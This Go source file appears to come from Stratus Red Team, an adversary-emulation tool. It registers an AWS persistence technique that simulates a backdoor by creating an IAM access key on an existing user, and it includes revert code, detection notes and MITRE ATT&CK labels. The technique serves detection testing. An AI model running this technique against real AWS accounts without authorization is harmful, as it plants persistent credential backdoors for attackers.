-
Notifications
You must be signed in to change notification settings - Fork 201
/
main.go
89 lines (72 loc) · 2.47 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package aws
import (
"context"
_ "embed"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/datadog/stratus-red-team/v2/pkg/stratus"
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack"
"log"
)
//go:embed main.tf
var tf []byte
func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.persistence.iam-backdoor-user",
FriendlyName: "Create an Access Key on an IAM User",
Description: `
Establishes persistence by creating an access key on an existing IAM user.
Warm-up:
- Create an IAM user.
Detonation:
- Create an IAM access key on the user.
References:
- https://sysdig.com/blog/scarleteel-2-0/
`,
Detection: `
Through CloudTrail's <code>CreateAccessKey</code> event. This event can hardly be considered suspicious by itself, unless
correlated with other indicators.
'`,
Platform: stratus.AWS,
IsIdempotent: false, // iam:CreateAccessKey can only be called twice (limit of 2 access keys per user)
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence, mitreattack.PrivilegeEscalation},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}
func detonate(params map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
userName := params["user_name"]
log.Println("Creating access key on legit IAM user to simulate backdoor")
result, err := iamClient.CreateAccessKey(context.Background(), &iam.CreateAccessKeyInput{
UserName: &userName,
})
if err != nil {
return err
}
log.Println("Successfully created access key " + *result.AccessKey.AccessKeyId)
return nil
}
func revert(params map[string]string, providers stratus.CloudProviders) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
userName := params["user_name"]
log.Println("Removing access key from IAM user " + userName)
result, err := iamClient.ListAccessKeys(context.Background(), &iam.ListAccessKeysInput{
UserName: &userName,
})
if err != nil {
return err
}
for i := range result.AccessKeyMetadata {
accessKeyId := result.AccessKeyMetadata[i].AccessKeyId
log.Println("Removing access key " + *accessKeyId)
_, err := iamClient.DeleteAccessKey(context.Background(), &iam.DeleteAccessKeyInput{
AccessKeyId: accessKeyId,
UserName: &userName,
})
if err != nil {
log.Println("failed: " + err.Error())
}
}
return nil
}